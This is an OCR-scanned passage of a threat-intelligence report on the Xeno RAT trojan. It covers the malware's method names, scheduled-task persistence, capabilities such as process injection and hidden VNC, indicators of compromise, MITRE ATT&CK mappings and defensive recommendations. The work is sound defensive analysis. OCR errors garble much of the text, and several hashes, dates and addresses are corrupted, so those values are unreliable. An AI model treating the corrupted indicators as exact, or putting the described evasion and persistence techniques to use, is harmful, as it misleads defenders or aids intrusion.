&xeno_rat_dient.Hander +<setSetdd>d_8
*xeno_rat_dient.Hander +<TypeRecsive =d__ 9
{xeno_rat_dient.Handler +<DebugMeru=d__ 10
-weno_rat_dient.Handler +=SendUbdatelrfo~d_ 11
Gxeno_rat_client, Node +<Disconnect =d__10
fxeno_rat_dient.Mode +<ConrectSubSockasync>d_ 11
(xeno_rat_dient.Node +<Recevelsync =d__13
Spxeno_rat_dient. Node +<SerdAsync=d__ 14
-xeno_rat_client.Node +<AuthenticateAsync=d__18
=xeno_rat_dient. SockstHandler +<RecvAlasync_ddos_unsafer=d_ 4
yxeno_rat_dient.SocketHandler +<RecvAllAsync_ddos_safer=d__5
-weno_rat_dient.SocketHandler +<SendAsync=d__9
1xeno_rat_dient.SocketHendler +<RecciveAsync>d__ 10
#ueno_rat_dient.Program+=Main=d__11

1xeno_rat_dient. Litls +<ConnectandSstupasync »d__14
*xeno_rat_dient.Utils +<RemoveStartup>d__15

Buxeno_rat_dlient. Utils+<Uninstall >d__ 16

1xeno_rat_dient.Utils +<AddTeStar tupMonAdmin =d__17
xeno_rat_dient. Ufls+<AddToStartupadmin=d__18

Cam
cand

rd

mand receiving

wties

Chatting capability

xeno rat cient.exe
xeno rat dient
xeno_rat_dient

[ C: \sers\IEUser \Desktop WENONEW \xenorat Plugins Chet\obj \Release \Chat pdb ]

xeno rat dient

wenao_rat_dient

E: \WUsers\IELUser \Desktop WEMONEW \xeno-rat Plugins'ScreenControl\obi\Release '.Su’eenConml.:db]
HEND I3

IENT
XEno

Memory-map of colorcpl.exe
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Xeno RAT also adds itself to the scheduled task for persistance:

LC] Sysinternals Support Ready Multiple triggers defined 22-02-32024 23:53:11 23-02-2024 22:5238 (0n0) Sysintzrnals.com

General Tiggers Actions Conditions  Settings  History (disabled)

When you create a task, you can specify the conditions that wall tnggerthe tazk, Te change these triggers, open the task property pager using the Properties command.

Trigger Details Status
Onetime At — o 022024 - After triggered, repsat every 1 hour indefinitely. Enabled
Atlog an £ting on of DESKTOR (D Enabled

General Triggers Actions Conditions Settings History (disabled)

When you create a task, you must specify the action that will occur when you

. Action Details
Start a program %APPDATA\Adobe\Drivers\Support.url

Added as scheduled task

Xeno-RAT CAPABILITIES

The examination of the Xeno RAT yields valuable insights and unveils its operational characteristics. Drawing from this
analysis and the data extracted, the subsequent points outline the capabilities of this remote access trojan:

* Monitors victim’s activity.

e Operates covertly.

* Use defensive measures to evade analysis.

e Uses Hidden Virtual Network Computing to access the compromised systems.

o Uses scoks5 proxy to connect with C2 server.

o Persistence using scheduled task.

» Utilizes process injection to target legit Windows process (hh.exe and colorcpl.exe)
o Uses obfuscation in codes and network traffic.

* Receives and executes the commands from C2.

 Employs measures against debugging and actively avoids detection mechanisms.
e Sends status update to C2 at regular intervals.

o It can add and remove from the systems startup.

¢ It can uninstall itself from the compromised system.

CONCLUSION

In summary, Xeno RAT is a dynamically evolving malware, boasting advanced capabilities coded in C#. It is freely accessible
on GitHub, where threat actors leverage it to infiltrate targets through diverse tactics, such as distributing free content and
phishing emails. Additionally, the developer pledges ongoing updates to enhance its functionality.

To reduce the risks associated with Xeno RAT malware, users should exercise caution when opening files from untrustworthy
sources or clicking on unfamiliar links, particularly those offering questionable software or content. Furthermore, deploying
robust cybersecurity measures, including utilizing reputable antivirus software, ensuring software is regularly updated, and
staying vigilant against social engineering tactics, can significantly bolster protection against such threats.

It's imperative for both platform providers and users to stay vigilant in detecting and reporting suspicious activities.
Collaboration between cybersecurity professionals and platform administrators is crucial for promptly identifying and
addressing such threats, leading to a safer online environment. Education and awareness campaigns are also vital in
equipping individuals with the knowledge to recognize and evade such malware, ultimately fostering a more resilient and
secure online ecosystem.

INDICATORS OF COMPROMISE

S/N | Indicators Type Context
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1 13b1d354ac2649b309b0d9229def8091 File Screenshot_2024-01-30_w-
?22%31 22612_DCIM.png.Ink
2 848020d2e8bacd35¢c71b78e1a81c669c9dc63c78dd3db5a97200fc87aeb44c3c | File Screenshot_2024-01-30_w-
(1322%311 22612_DCIM.png.Ink
3 6f9e84087cabbb9aaa7d8aba43a84dcf File Sys.zip
4 4d0d8c2696588(f74fe7d9f8c2097fddd665308fccf16ffea23b9741a261b1c0 File Sys.zip
5 7704241dd8770b11b50b1448647197a5 File Samcli.dll
6 17625362663879d5fb8a94c1d145331e1d001fb27f787d79691f9f8208fc68f2 File Samcli.dll
7 0aa5930aa736636fd95907328d47ea45 File LICENSE
8 96b091ce5d06afd11ee5ad911566645dbe32bfe1da2269a3d3ef8d3fa0014689 | File LICENSE
9 45[.161[.]139[.151 P C2
address
10 | internal-liveapps[.Jonline Domain | C2

MITRE ATT&CK TACTICS AND TECHNIQUES

No. | Tactic Technique

1 Execution (TA0002) T1059.003: Windows Command Shell
T1053.005: Scheduled Task
T1204.001: Malicious Link
T1024.002: Malicious File

2 Persistence (TA0003) T1053.005: Scheduled Task

3 Defense Evasion (TA0005) T1622: Debugger Evasion
T1497:Virtualization/Sandbox Evasion
T1055: Process Injection

4 Discovery (TA0007) T1622: Debugger Evasion
T1497:Virtualization/Sandbox Evasion

5 Command and Control (TA0O011) | T1071.001: Web Protocols

4 Discovery (TA00Q7) T1622: Debugger Evasion
T1497:Virtualization/Sandbox Evasion

Recommendations

Implement threat intelligence to proactively counter the threats associated with Xeno RAT malware.

To protect the endpoints, use robust endpoint security solutions for real-time monitoring and threat detection, such as
Antimalware security suit and host-based intrusion prevention system.
Continuous monitoring of the network activity with NIDS/NIPS and using the web application firewall to filter/block the
suspicious activity provides comprehensive protection from compromise, due to encrypted payloads.

Configure firewalls to block outbound communication to known malicious IP addresses and domains associated with
Xeno RAT command and control servers.
Implement behavior-based monitoring to detect unusual activity patterns, such as suspicious processes attempting to
make unauthorized network connections.
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« Employ application whitelisting to allow only approved applications to run on endpoints, preventing the execution of
unauthorized or malicious executables.

« Conducting vulnerability assessment and penetration testing on the environment periodically helps in hardening the
security by finding the security loopholes, followed by remediation process.

¢ Use of security benchmarks to create baseline security procedures and organizational security policies is also

recommended.
+ Develop a comprehensive incident response plan that outlines steps to take in case of a malware infection, including
isolating affected systems and notifying relevant stakeholders.
Security awareness and training programs help to protect from security incidents, such as social engineering attacks.
Organizations should remain vigilant and continuously adapt their defenses to mitigate the evolving threats posed by
Xeno-RAT malware.
» Update security patches which can reduce the risk for potential compromise.
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